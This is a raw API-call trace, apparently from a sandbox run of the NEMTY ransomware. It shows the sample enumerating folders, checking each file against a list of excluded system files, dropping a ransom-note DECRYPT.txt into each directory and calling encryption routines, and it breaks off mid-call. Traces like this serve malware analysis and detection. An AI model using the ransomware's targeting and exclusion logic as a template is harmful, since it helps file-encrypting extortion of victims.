(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0149.678] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0149.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0149.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0149.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0149.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0149.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0149.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0149.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0149.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0149.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0149.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0149.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0149.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0149.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.679] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca1b30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xaca1b30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xaca1b30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0149.679] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0149.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0149.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0149.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0149.679] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 1 [0149.679] lstrcmpiW (lpString1="Weather.Gadget", lpString2=".") returned 1 [0149.679] lstrcmpiW (lpString1="Weather.Gadget", lpString2="..") returned 1 [0149.679] lstrcmpiW (lpString1="Weather.Gadget", lpString2="...") returned 1 [0149.679] lstrcmpiW (lpString1="Weather.Gadget", lpString2="windows") returned -1 [0149.679] lstrcmpiW (lpString1="Weather.Gadget", lpString2="$RECYCLE.BIN") returned 1 [0149.679] lstrcmpiW (lpString1="Weather.Gadget", lpString2="rsa") returned 1 [0149.679] lstrcmpiW (lpString1="Weather.Gadget", lpString2="NTDETECT.COM") returned 1 [0149.679] lstrcmpiW (lpString1="Weather.Gadget", lpString2="ntldr") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="MSDOS.SYS") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="IO.SYS") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="boot.ini") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="boot.ini") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="AUTOEXEC.BAT") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="ntuser.dat") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="desktop.ini") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="CONFIG.SYS") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="RECYCLER") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="BOOTSECT.BAK") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="bootmgr") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="programdata") returned 1 [0149.680] lstrcmpiW (lpString1="Weather.Gadget", lpString2="appdata") returned 1 [0149.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weather.Gadget", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weather.Gadget", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weather.Gadget", lpUsedDefaultChar=0x0) returned 14 [0149.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weather.Gadget", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weather.Gadget", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weather.Gadget", lpUsedDefaultChar=0x0) returned 14 [0149.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942a0 [0149.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0149.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0149.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0149.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94218 [0149.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0149.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0149.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0149.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0149.681] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0149.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0149.683] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.683] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0149.684] CloseHandle (hObject=0x1e8) returned 1 [0149.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0149.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0149.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94218 [0149.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942a0 [0149.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0149.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0149.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0149.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0149.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0149.685] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0149.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0149.685] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.686] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0149.686] CloseHandle (hObject=0x1e8) returned 1 [0149.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0149.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0149.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0149.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcdcedd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xcdcedd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0149.687] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0149.687] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcdcedd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xcdcedd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0149.687] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0149.687] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0149.687] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a3657, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876a3657, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2a5f4919, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="drag.png", cAlternateFileName="")) returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="...") returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="$RECYCLE.BIN") returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="rsa") returned -1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="NTDETECT.COM") returned -1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="ntldr") returned -1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="MSDOS.SYS") returned -1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="IO.SYS") returned -1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="AUTOEXEC.BAT") returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="desktop.ini") returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="CONFIG.SYS") returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="RECYCLER") returned -1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="BOOTSECT.BAK") returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="programdata") returned -1 [0149.687] lstrcmpiW (lpString1="drag.png", lpString2="appdata") returned 1 [0149.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0149.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0149.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0149.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0149.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0149.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0149.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0149.688] Sleep (dwMilliseconds=0x5) [0149.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xcdf4f30, dwHighDateTime=0x1d561e8)) [0149.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xcdf4f30, dwHighDateTime=0x1d561e8)) [0149.695] GetLastError () returned 0xb7 [0149.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.696] GetLastError () returned 0xb7 [0149.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.696] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0149.696] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0149.696] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0149.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0149.696] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: 